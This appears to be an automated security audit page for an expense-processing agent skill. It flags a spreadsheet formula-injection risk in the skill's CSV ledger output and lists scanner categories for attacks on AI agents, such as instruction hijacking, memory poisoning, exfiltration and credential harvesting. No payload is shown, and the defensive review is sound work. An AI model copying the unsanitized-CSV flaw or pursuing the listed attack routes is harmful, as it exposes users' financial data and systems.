T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/expense_ledger.py:27- Finding
Spreadsheet Formula Injection in Generated Expense Ledger
- Content
View full analysis
- Remediation
View remediation
Security audit
receipt-expense-workbench
Security checks for vulnerabilities and agentic risk
Overview
The skill is mostly coherent and local, but it should be reviewed because its CSV output can carry unsafe spreadsheet formulas from receipt data.
Before installing, review the CSV formula-injection risk: do not open generated ledgers from untrusted receipt or invoice text in spreadsheet software with formula execution enabled unless values are sanitized. Use explicit input and output paths, redact unnecessary personal or financial details, and invoke the skill only when you clearly want receipt or reimbursement materials processed.
Vulnerability Patterns
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)
Vulnerability Patterns
- Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
- MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (7)
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
This markdown file uses Chinese for all substantive instructions and evaluation content, but does not indicate that the skill is region-specific or provide any opt-in for language/locale. Under the policy, forcing a specific language without user choice is a natural-language policy violation.
- Content
Undeclared Tool Scope
Medium
- Category
- MCP Least Privilege
- Confidence
- 90% confidence
- Finding
The skill declares a local script and generated CSV output, which implies file read/write behavior, but it does not declare any explicit tool scope such as permissions or allowed-tools. That creates an authorization ambiguity where an agent runtime may permit broader filesystem access than users expect, increasing the risk of unintended reading or writing of sensitive financial data.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 88% confidence
- Finding
The skill is designed to process receipts, invoices, and reimbursement materials, which commonly contain sensitive financial and personal information, yet it provides no warning or handling notice. Users may submit confidential data without understanding retention, exposure, or minimization expectations, which raises privacy and compliance risk.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 94% confidence
- Finding
The trigger phrase "expense ledger" is broad enough to match ordinary finance-related requests that may not intend to invoke this skill. Overbroad activation can cause the agent to process sensitive receipts or financial text unexpectedly, increasing the chance of unnecessary data exposure or unintended file generation.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 87% confidence
- Finding
This markdown file is written entirely in Chinese and uses Chinese instructions as the expected operating language, but it does not mention that the skill is locale-specific or provide any user opt-in for language preference. Under the policy, forcing a specific language without opt-in is a natural-language policy violation.
- Content
Natural-Language Policy Violations
Low
- Category
- Not specified by scanner
- Confidence
- 87% confidence
- Finding
The file presents core instructions, triggers, and warnings in both Chinese and English, but does not state a supported language policy or let the user choose their preferred language. This can create a locale-policy issue if the skill effectively assumes bilingual comprehension without opt-in.
- Content
Natural-Language Policy Violations
Low
- Category
- Not specified by scanner
- Confidence
- 72% confidence
- Finding
The trigger list mixes Chinese and English phrases, but the skill does not explain whether it is intended for multilingual use or how language selection is handled. This can be a locale-policy concern when a skill implicitly assumes or privileges specific languages without documenting user choice or context.
- Content